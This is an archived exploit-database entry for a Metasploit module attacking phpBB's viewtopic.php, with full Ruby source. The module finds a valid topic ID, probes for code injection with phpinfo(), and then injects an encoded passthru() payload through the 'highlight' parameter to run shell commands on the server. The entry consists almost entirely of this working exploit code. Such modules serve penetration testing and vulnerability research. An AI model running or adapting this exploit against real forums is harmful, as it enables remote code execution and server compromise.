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phpBB viewtopic.php Arbitrary Code Execution

2009-12-31T00:00:00
ID PACKETSTORM:84528
Type packetstorm
Reporter H D Moore
Modified 2009-12-31T00:00:00

Description

                                        
                                            `##  
# $Id: phpbb_highlight.rb 7724 2009-12-06 05:50:37Z jduck $  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'phpBB viewtopic.php Arbitrary Code Execution',  
'Description' => %q{  
This module exploits two arbitrary PHP code execution flaws in the  
phpBB forum system. The problem is that the 'highlight' parameter  
in the 'viewtopic.php' script is not verified properly and will  
allow an attacker to inject arbitrary code via preg_replace().  
},  
'Author' => [ 'valsmith[at]metasploit.com', 'hdm', 'patrick' ],  
'License' => MSF_LICENSE,  
'Version' => '$Revision: 7724 $',  
'References' =>  
[  
[ 'CVE', '2005-2086'],  
[ 'CVE', '2004-1315'],  
[ 'OSVDB', '11719'],  
[ 'OSVDB', '17613'],  
[ 'BID', '14086'],  
[ 'BID', '10701'],  
],  
'Privileged' => false,  
'Payload' =>  
{  
'DisableNops' => true,  
'Space' => 1024,  
'Compat' =>  
{  
'PayloadType' => 'cmd',  
'RequiredCmd' => 'generic perl ruby bash telnet',  
}  
},   
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'Targets' =>   
[  
[ 'Automatic', { }],  
[ 'phpbb <=2.0.10', { }],  
[ 'phpbb <=2.0.15', { }],  
],  
'DisclosureDate' => 'Nov 12 2004',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('URI', [true, "The phpBB root Directory", "/phpBB2"]),  
OptString.new('TOPIC', [false, "The ID of a valid topic"]),  
], self.class)  
end  
  
def find_topic  
  
1.upto(32) do |x|  
  
res = send_request_raw({  
'uri' => datastore['URI'] + '/viewtopic.php?topic=' + x.to_s,  
}, 25)  
  
if (res and res.body.match(/class="postdetails"/))  
print_status("Discovered valid topic ID: #{x}")  
return x  
end  
  
end  
return false  
  
end  
  
def exploit  
  
topic = datastore['TOPIC'] || find_topic  
  
if !(topic)  
print_status("No valid topic ID found, please specify the TOPIC option.")  
return  
else  
  
sploit = datastore['URI'] + "/viewtopic.php?t=#{topic}&highlight="  
  
case target.name  
when /Automatic/  
req = "/viewtopic.php?t=#{topic}&highlight=%2527%252ephpinfo()%252e%2527"  
  
res = send_request_raw({  
'uri' => datastore['URI'] + req  
}, 25)  
  
print_status("Trying to determine which attack method to use...")  
  
if (res and res.body =~ /\<title>phpinfo/)  
byte = payload.encoded.unpack('C*').map! { |ch| ch = "chr(#{ch})" }.join('%252e')  
sploit << "%2527%252epassthru(#{byte})%252e%2527"  
else  
byte = payload.encoded.unpack('C*').map! { |ch| ch = "chr(#{ch})" }.join('.')  
sploit << "%27.passthru(#{byte}).%27"  
end  
  
when /2\.0\.10/  
byte = payload.encoded.unpack('C*').map! { |ch| ch = "chr(#{ch})" }.join('%252e')  
sploit << "%2527%252epassthru(#{byte})%252e%2527"  
when /2\.0\.15/  
byte = payload.encoded.unpack('C*').map! { |ch| ch = "chr(#{ch})" }.join('.')  
sploit << "%27.passthru(#{byte}).%27"  
end  
  
res = send_request_raw({  
'uri' => sploit  
}, 25)  
  
end  
  
end  
  
end  
`
JSON Vulners Source
Initial Source


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